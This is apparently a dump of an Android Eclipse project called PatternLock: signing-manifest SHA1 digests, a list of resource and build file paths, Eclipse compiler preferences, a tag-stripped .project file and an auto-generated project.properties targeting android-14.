Name: res/menu/lockthis.xml
SHA1-Digest: AJSVcRUADj6GSBejTZykUy54+1w=

Name: res/drawable-mdpi/ic_launcher.png
SHA1-Digest: VY7kOF8E3rn8EUTvQC/DcBEN6kQ=

Name: res/drawable-hdpi/ic_launcher.png
SHA1-Digest: stS7pUucSY0GgAVoESyO3Y7SanU=

Name: res/layout/activity_lockthis.xml
SHA1-Digest: Gw6mjdCy0Kxtfx6L6l85TywUDPQ=

Name: res/layout/activity_main.xml
SHA1-Digest: h8Ym6yyvac0LBtfn0bEdtOjf+Q4=

Name: res/layout/activity_wel.xml
SHA1-Digest: uqMVT3+ENh9ZG6ubSUu8MPA4bnA=

Name: res/menu/wel.xml
SHA1-Digest: uaEOWoBdbpGDdRa/2BpQusD1cuA=

Name: resources.arsc
SHA1-Digest: 1hrH+3EoWnPQRjH17pTUCoiDpD0=

Name: classes.dex
SHA1-Digest: nCs1uRrLclUPsL2t6x1m77Wptig=

Name: res/drawable-xxhdpi/ic_launcher.png
SHA1-Digest: KKqaLh/DVvFp+v1KoaDw7xETvrI=











META-INF/CERT.RSA









PatternLock/bin/resources.ap_




res/layout/activity_lockthis.xml












res/layout/activity_main.xml












res/layout/activity_wel.xml












res/layout/list_items.xml












res/menu/lockthis.xml












res/menu/main.xml












res/menu/wel.xml












AndroidManifest.xml












resources.arsc








res/drawable-hdpi/ic_launcher.png








res/drawable-mdpi/ic_launcher.png








res/drawable-xhdpi/ic_launcher.png








res/drawable-xxhdpi/ic_launcher.png
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PatternLock/bin/classes.dex





PatternLock/.settings/org.eclipse.jdt.core.prefs

eclipse.preferences.version=1
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6
org.eclipse.jdt.core.compiler.compliance=1.6
org.eclipse.jdt.core.compiler.source=1.6







PatternLock/.project

 
	 PatternLock
	 
	 
	
	 
		 
			 com.android.ide.eclipse.adt.ResourceManagerBuilder
			 
			
		
		 
			 com.android.ide.eclipse.adt.PreCompilerBuilder
			 
			
		
		 
			 org.eclipse.jdt.core.javabuilder
			 
			
		
		 
			 com.android.ide.eclipse.adt.ApkBuilder
			 
			
		
	
	 
		 com.android.ide.eclipse.adt.AndroidNature
		 org.eclipse.jdt.core.javanature
	







PatternLock/project.properties

# This file is automatically generated by Android Tools.
# Do not modify this file -- YOUR CHANGES WILL BE ERASED!
#
# This file must be checked in Version Control Systems.
#
# To customize properties used by the Ant build system edit
# "ant.properties", and override values to adapt the script to your
# project structure.
#
# To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home):
#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt

# Project target.
target=android-14







